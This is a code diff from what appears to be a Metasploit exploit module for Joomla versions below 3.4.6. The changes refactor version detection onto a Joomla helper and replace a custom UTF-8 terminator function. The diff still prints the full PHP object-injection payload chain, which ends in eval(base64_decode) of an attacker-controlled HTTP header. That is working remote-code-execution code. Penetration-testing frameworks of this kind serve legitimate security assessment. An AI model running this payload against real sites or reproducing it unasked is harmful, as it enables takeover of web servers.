8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
Rank = ExcellentRanking
10
10
11
- include Msf ::Exploit ::Remote ::HttpClient
11
+ include Msf ::Exploit ::Remote ::HTTP :: Joomla
12
12
13
13
def initialize ( info = { } )
14
14
super ( update_info ( info ,
@@ -49,7 +49,6 @@ def initialize(info = {})
49
49
50
50
register_options (
51
51
[
52
- OptString . new ( 'TARGETURI' , [ true , 'The path to joomla' , '/' ] ) ,
53
52
OptEnum . new ( 'HEADER' , [ true , 'The header to use for exploitation' , 'USER-AGENT' , [ 'USER-AGENT' , 'X-FORWARDED-FOR' ] ] )
54
53
] , self . class )
55
54
@@ -72,6 +71,12 @@ def check
72
71
return Exploit ::CheckCode ::Unknown
73
72
end
74
73
74
+ online = joomla_and_online?
75
+ unless online
76
+ vprint_error ( "Unable to detect joomla on #{ target_uri . path } " )
77
+ return Exploit ::CheckCode ::Safe
78
+ end
79
+
75
80
php_version , rest = res . headers [ 'X-Powered-By' ] . scan ( /PHP\/ ([\d \. ]+)(?:-(.+))?/i ) . flatten || ''
76
81
version = Gem ::Version . new ( php_version )
77
82
vulnerable = false
@@ -120,40 +125,23 @@ def check
120
125
return Exploit ::CheckCode ::Safe
121
126
end
122
127
123
- res = send_request_cgi ( { 'uri' => normalize_uri ( target_uri . path , 'administrator' , 'manifests' , 'files' , 'joomla.xml' ) } )
124
- if res && res . code == 200 && res . body && res . body . include? ( '<author>Joomla! Project</author>' )
125
- joomla_version = res . body . scan ( /<version>([\d \. ]+)<\/ version>/i ) . flatten . first || ''
126
- unless joomla_version . empty?
127
- vprint_status ( "Detected Joomla version #{ joomla_version } " )
128
- return Exploit ::CheckCode ::Appears if Gem ::Version . new ( joomla_version ) < Gem ::Version . new ( '3.4.6' )
129
- end
128
+ j_version = joomla_version
129
+ unless j_version . nil?
130
+ vprint_status ( "Detected Joomla version #{ j_version } " )
131
+ return Exploit ::CheckCode ::Appears if Gem ::Version . new ( j_version ) < Gem ::Version . new ( '3.4.6' )
130
132
end
131
133
132
- res . get_html_meta_elements . each do |element |
133
- if element . attributes [ 'name' ] &&
134
- /^generator$/i === element . attributes [ 'name' ] &&
135
- element . attributes [ 'content' ] &&
136
- /joomla/i === element . attributes [ 'content' ] . value
137
- return Exploit ::CheckCode ::Detected
138
- end
139
- end
134
+ return Exploit ::CheckCode ::Detected if online
140
135
141
136
Exploit ::CheckCode ::Safe
142
137
end
143
138
144
- # gets a random 4 byte UTF-8 character
145
- def get_terminator
146
- # valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
147
- [ rand ( 0x10000 ..0x10ffff ) ] . pack ( 'U*' )
148
- end
149
-
150
139
def get_payload ( header_name )
151
140
pre = "#{ Rex ::Text . rand_text_alpha ( 5 ) } }__#{ Rex ::Text . rand_text_alpha ( 10 ) } |"
152
141
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
153
142
pay = "eval(base64_decode($_SERVER['HTTP_#{ header_name } ']));JFactory::getConfig();exit;"
154
143
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
155
- t1000 = get_terminator
156
- return "#{ pre } #{ pre_pay } s:#{ pay . length } :\" #{ pay } #{ post_pay } #{ t1000 } "
144
+ return "#{ pre } #{ pre_pay } s:#{ pay . length } :\" #{ pay } #{ post_pay } #{ Rex ::Text ::rand_4byte_utf8 } "
157
145
end
158
146
159
147
def print_status ( msg = '' )
0 commit comments